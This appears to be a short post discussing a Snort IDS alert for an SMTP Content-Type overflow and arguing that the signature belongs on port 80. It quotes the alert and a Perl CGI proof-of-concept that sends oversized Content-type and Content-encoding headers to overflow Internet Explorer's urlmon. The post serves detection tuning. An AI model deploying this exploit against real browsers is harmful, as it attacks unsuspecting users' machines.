SMTP Content-Type overflow attempt SID 3461

I've seen the following alert triggered

[**] [1:3461:2] SMTP Content-Type overflow attempt [**]

[Classification: Attempted Administrator Privilege Gain] [Priority: 1]09/25-11:11:06.816693 x.y.z.1:35499 -> 192.168.1.10:25

TCP TTL:240 TOS:0x10 ID:0 IpLen:20 DgmLen:2776
***AP*** Seq: 0xCE9CF6A4  Ack: 0xDEEA2DBD  Win: 0x40B0  TcpLen: 20

Yet the Microsoft fix is for Internet Explorer, yet the signature looks for traffic on port TCP / 25.I think the signature should look for this exploit on TCP port 80


Attached is the sample exploit, which would also only effect port 80..
!/usr/bin/perl
#
# Name this file as "urlmon-bo.cgi"
#
$LONG="A"x300;
print "Content-type: $LONG\r\n";
print "Content-encoding: $LONG\r\n";
print "\r\n";
